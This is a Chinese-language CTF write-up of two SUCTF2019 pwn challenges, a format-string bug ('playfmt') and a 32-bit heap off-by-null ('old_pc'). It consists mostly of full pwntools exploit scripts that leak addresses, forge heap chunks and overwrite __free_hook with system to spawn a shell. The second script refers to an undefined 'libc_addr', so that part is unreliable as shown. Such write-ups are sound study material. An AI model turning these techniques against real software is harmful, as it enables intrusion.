SUCTF2019

SUCTF2019

playfmt

格式化不在栈上,读取flag,总的来说就是一个格式化的题
EXP

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level="debug"
exec_binary = 'playfmt'
r=process('./'+exec_binary)
elf=ELF(exec_binary)
def leak(addr):
    payload=addr
#    payload+="%7$s"
    r.sendline(payload)
    data=r.recv(8)[4:8]
    return data
def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 
    log.success("libcbase ====> "+hex(libcbase))

def get(target,printed):
    if printed>target:
        return (256-printed+target)
    elif printed==target:
        return 0
    else: 
        return target-printed
def modify(target,offset,old):
    t1=target&0xff
    t2=target>>8&0xff
    t3=target>>16&0xff
    t4=target>>24&0xff
    payload=p32(old)+p32(old+1)+p32(old+2)+p32(old+3)
    len1=get(t1,len(payload))
    len2=get(t2,(len1)+16)
    len3=get(t3,(len2+len1)+16)
    len4=get(t4,(len3+len2+len1)+16)
    payload+='%'+str(len1)+'c'+'%'+str(offset)+'$hhn'
    payload+='%'+str(len2)+'c'+'%'+str(offset+1)+'$hhn'
    payload+='%'+str(len3)+'c'+'%'+str(offset+2)+'$hhn'
    payload+='%'+str(len4)+'c'+'%'+str(offset+3)+'$hhn'
    return payload

buf_addr = 0x804B040
payload = "%6$p"
leak(payload)
r.recvuntil("=====================\n")
r.recvuntil("=====================\n")
stack_ret_addr = int(r.recvuntil("\n",drop=True),16) - 0x1c + 0x2c
payload = "%18$p"
r.sendline(payload)
heap_base = int(r.recvuntil("\n",drop=True),16) - 0x20
print "heap_base  ====> " + hex(heap_base)
print "stack_ret_addr ====> " + hex(stack_ret_addr)
payload = "%" + str(stack_ret_addr&0xff) +"c" + "%6$hhn"
r.sendline(payload)
payload = "%" + str(heap_base&0xffff) +"c" + "%14$hn"
r.sendline(payload)
payload = "%18$s"
r.sendline(payload)
r.interactive()

old_pc

[*] '/home/root0/pratice/ctf-writeups/suctf2019/pwn/old_pc/pwn'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

32位的堆题,保护全开

漏洞点

off-by-null

char *__cdecl get_name(size_t size)
{
  char *malloc_ptr; // ST10_4
  char *result; // eax
  char v3[16]; // [esp+4h] [ebp-14h]

  *(_DWORD *)&v3[8] = __readgsdword(0x14u);
  if ( size > 0x1FF )
    size = 0x200;
  malloc_ptr = (char *)malloc(size);
  strcpy(v3, "%");
  sprintf(&v3[1], (const char *)&unk_14E0, size);
  __isoc99_scanf(v3, malloc_ptr);
  result = malloc_ptr;
  if ( __readgsdword(0x14u) != *(_DWORD *)&v3[8] )
    end();
  return result;
}

知识点

scanf存在null截断,在scanf(“%s”,ptr)时在末尾加上null。

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./pwn"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 
    success(libcbase + " ===> " + hex(libcbase))

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def Purchase(size,content,Price):
    r.sendlineafter(">>> ","1")
    r.sendlineafter("length: ",str(size))
    r.sendafter("Name: ",content)
    r.sendlineafter("Price: ",str(Price))

def Comment(idx,content,score):
    r.sendlineafter(">>> ","2")
    r.sendlineafter("Index: ",str(idx))
    r.sendafter(": ",content)
    r.sendlineafter("score: ",str(score))

def throw(idx):
    r.sendlineafter(">>> ","3")
    r.sendlineafter("index: ",str(idx))

def Rename(content):
    r.sendlineafter(">>> ","4")
    r.send(content)

Purchase(0x8c,"a"+"\n",1) #0
Purchase(0x8c,"b"+"\n",1) #0
#Purchase(20,"A"*18+"\n",1) #2
Comment(0,"a",2)
Comment(1,"a",2)
throw(0)
throw(1)
Purchase(1,"A",1) #1
Comment(0,"\x40",2)
throw(0)
r.recvuntil(" ")
libcbase = u32(r.recv(4)) - 0x1b2840 
main_arena_addr = libcbase + libc.symbols["__malloc_hook"] + 0x18
confirm(libcbase)
Purchase(0xf4, 'c\n',1)
Purchase(0x74, 'd\n',1)
Purchase(0xfc, 'e\n',1)
throw(0)
Purchase(0xfc, 'e\n',1)
throw(0)
Purchase(0xfc, 'f\n',1)
throw(2)
Purchase(0xfc, '\0' * 0xf8 + p32(0x1c8),1)
Purchase(0x104, '/bin/sh\0\n',1)
Purchase(0x104, '/bin/sh\0\n',1)
Purchase(0x104, '/bin/sh\0\n',1)
# pause()
throw(4)
throw(0)
Purchase(0x9c, 'g\n',1)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(main_arena_addr + 8) + '\n',1) # 
# Comment(2, 'b')
r.sendlineafter('>>> ', '2')
r.sendlineafter('Index: ', str(2))
r.recvuntil('Comment on ')
result = r.recvn(4)
heap_addr = u32(result) - 0x30
r.sendafter(' : ', 'b')
r.sendlineafter('And its score: ', str(1))
throw(4)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(heap_addr + 8) + '\n',1) # 
throw(2)
#Purchase(0x10,"A"*4+"\n",1) #0
r.sendlineafter('>>> ', '1')
r.sendlineafter('Name length: ', str(0x2c))
r.sendafter('Name: ', p32(libc_addr + libc.symbols['__free_hook'] - 12) + p32(libc_addr + libc.symbols['__free_hook'] + 0x10) + p32(libc_addr + libc.symbols['__free_hook']) + '\n')
r.sendlineafter('Price: ', str(0x21))

r.sendlineafter('>>> ', '2')
r.sendlineafter('Index: ', str(1))
r.sendafter(' : ', '\n')
r.sendlineafter('And its score: ', str(0x21))
throw(2)
Purchase(0x1c, p32(libc_addr + libc.symbols['system']) + '\n',1)
throw(5)
r.interactive()

   转载规则


《SUCTF2019》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
large bin attack原理 large bin attack原理
large bin attack – glibc 2.23在malloc 的源码里面,把非small bin的部分定义为large bin,在64位的系统里面大于MIN_LARGE_SIZE为640x10即0x400的chunk为large
2020-02-13
下一篇 
IO攻击总结 IO攻击总结
IO攻击总结_IO_FILE结构体相关truct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_
2020-02-10
  目录